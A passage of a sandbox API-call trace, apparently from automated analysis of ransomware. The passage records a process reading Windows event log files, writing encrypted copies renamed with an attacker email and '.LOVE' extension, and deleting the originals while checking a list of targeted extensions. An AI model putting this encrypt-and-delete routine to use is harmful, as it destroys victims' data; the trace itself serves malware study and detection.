(lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString=".doc") returned 4 [0206.369] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".docx") returned 5 [0206.369] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.369] lstrlenW (lpString=".pdf") returned 4 [0206.369] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".xls") returned 4 [0206.369] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".xlsx") returned 5 [0206.369] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.369] lstrlenW (lpString=".ppt") returned 4 [0206.369] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.369] lstrlenW (lpString=".zip") returned 4 [0206.369] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.369] lstrlenW (lpString=".rar") returned 4 [0206.370] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.370] lstrlenW (lpString=".bz2") returned 4 [0206.370] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.370] lstrlenW (lpString=".7z") returned 3 [0206.370] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.370] lstrlenW (lpString=".dbf") returned 4 [0206.370] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.370] lstrlenW (lpString=".1cd") returned 4 [0206.370] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0206.370] lstrlenW (lpString=".jpg") returned 4 [0206.370] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.370] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.370] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0206.370] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.370] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.370] CloseHandle (hObject=0x354) returned 1 [0206.370] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0206.370] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.371] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.371] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.371] GetLastError () returned 0x0 [0206.371] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.391] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.392] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.392] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x124, lpOverlapped=0x0) returned 1 [0206.392] SetEndOfFile (hFile=0x368) returned 1 [0206.392] CloseHandle (hObject=0x368) returned 1 [0206.394] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.394] SetEndOfFile (hFile=0x354) returned 1 [0206.395] CloseHandle (hObject=0x354) returned 1 [0206.395] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.395] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0206.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString=".doc") returned 4 [0206.396] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".docx") returned 5 [0206.396] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.396] lstrlenW (lpString=".pdf") returned 4 [0206.396] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".xls") returned 4 [0206.396] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".xlsx") returned 5 [0206.396] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.396] lstrlenW (lpString=".ppt") returned 4 [0206.396] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString=".zip") returned 4 [0206.396] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".rar") returned 4 [0206.396] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".bz2") returned 4 [0206.396] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".7z") returned 3 [0206.396] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString=".dbf") returned 4 [0206.396] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString=".1cd") returned 4 [0206.396] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString=".jpg") returned 4 [0206.396] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.396] lstrlenW (lpString=".doc") returned 4 [0206.396] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.396] lstrlenW (lpString=".docx") returned 5 [0206.396] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.396] lstrlenW (lpString=".pdf") returned 4 [0206.396] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString=".xls") returned 4 [0206.397] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString=".xlsx") returned 5 [0206.397] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.397] lstrlenW (lpString=".ppt") returned 4 [0206.397] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.397] lstrlenW (lpString=".zip") returned 4 [0206.397] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString=".rar") returned 4 [0206.397] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString=".bz2") returned 4 [0206.397] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString=".7z") returned 3 [0206.397] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.397] lstrlenW (lpString=".dbf") returned 4 [0206.397] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.397] lstrlenW (lpString=".1cd") returned 4 [0206.397] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.397] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0206.397] lstrlenW (lpString=".jpg") returned 4 [0206.397] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.397] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.397] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0206.397] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.398] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.398] CloseHandle (hObject=0x354) returned 1 [0206.398] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0206.398] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.399] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.399] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.399] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.399] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.399] GetLastError () returned 0x0 [0206.399] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.419] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.420] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.421] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x124, lpOverlapped=0x0) returned 1 [0206.421] SetEndOfFile (hFile=0x368) returned 1 [0206.421] CloseHandle (hObject=0x368) returned 1 [0206.422] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.422] SetEndOfFile (hFile=0x354) returned 1 [0206.423] CloseHandle (hObject=0x354) returned 1 [0206.424] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.424] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0206.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.424] lstrlenW (lpString=".doc") returned 4 [0206.424] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.424] lstrlenW (lpString=".docx") returned 5 [0206.424] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.424] lstrlenW (lpString=".pdf") returned 4 [0206.424] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.424] lstrlenW (lpString=".xls") returned 4 [0206.424] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.424] lstrlenW (lpString=".xlsx") returned 5 [0206.424] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.424] lstrlenW (lpString=".ppt") returned 4 [0206.424] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.424] lstrlenW (lpString=".zip") returned 4 [0206.424] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.424] lstrlenW (lpString=".rar") returned 4 [0206.424] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.424] lstrlenW (lpString=".bz2") returned 4 [0206.425] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString=".7z") returned 3 [0206.425] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.425] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.425] lstrlenW (lpString=".dbf") returned 4 [0206.425] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.425] lstrlenW (lpString=".1cd") returned 4 [0206.425] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.425] lstrlenW (lpString=".jpg") returned 4 [0206.425] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.425] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.425] lstrlenW (lpString=".doc") returned 4 [0206.425] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString=".docx") returned 5 [0206.425] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.425] lstrlenW (lpString=".pdf") returned 4 [0206.425] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString=".xls") returned 4 [0206.425] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString=".xlsx") returned 5 [0206.425] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.425] lstrlenW (lpString=".ppt") returned 4 [0206.425] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.425] lstrlenW (lpString=".zip") returned 4 [0206.425] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString=".rar") returned 4 [0206.425] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.425] lstrlenW (lpString=".bz2") returned 4 [0206.426] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.426] lstrlenW (lpString=".7z") returned 3 [0206.426] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.426] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.426] lstrlenW (lpString=".dbf") returned 4 [0206.426] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.426] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.426] lstrlenW (lpString=".1cd") returned 4 [0206.426] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.426] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0206.426] lstrlenW (lpString=".jpg") returned 4 [0206.426] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.426] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.426] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0206.426] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.442] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.443] CloseHandle (hObject=0x33c) returned 1 [0206.443] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0206.443] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.443] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.443] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.443] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.443] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.443] GetLastError () returned 0x0 [0206.443] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.454] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.455] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.455] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x168, lpOverlapped=0x0) returned 1 [0206.455] SetEndOfFile (hFile=0x2d8) returned 1 [0206.455] CloseHandle (hObject=0x2d8) returned 1 [0206.457] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.458] SetEndOfFile (hFile=0x33c) returned 1 [0207.053] CloseHandle (hObject=0x33c) returned 1 [0207.053] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.053] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0207.053] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.053] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.053] lstrlenW (lpString=".doc") returned 4 [0207.053] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.053] lstrlenW (lpString=".docx") returned 5 [0207.053] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.053] lstrlenW (lpString=".pdf") returned 4 [0207.053] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.053] lstrlenW (lpString=".xls") returned 4 [0207.053] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.053] lstrlenW (lpString=".xlsx") returned 5 [0207.053] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.053] lstrlenW (lpString=".ppt") returned 4 [0207.053] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString=".zip") returned 4 [0207.054] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".rar") returned 4 [0207.054] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".bz2") returned 4 [0207.054] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".7z") returned 3 [0207.054] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString=".dbf") returned 4 [0207.054] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString=".1cd") returned 4 [0207.054] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString=".jpg") returned 4 [0207.054] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString=".doc") returned 4 [0207.054] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".docx") returned 5 [0207.054] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.054] lstrlenW (lpString=".pdf") returned 4 [0207.054] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".xls") returned 4 [0207.054] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".xlsx") returned 5 [0207.054] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.054] lstrlenW (lpString=".ppt") returned 4 [0207.054] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.054] lstrlenW (lpString=".zip") returned 4 [0207.054] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".rar") returned 4 [0207.054] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.054] lstrlenW (lpString=".bz2") returned 4 [0207.055] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.055] lstrlenW (lpString=".7z") returned 3 [0207.055] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.055] lstrlenW 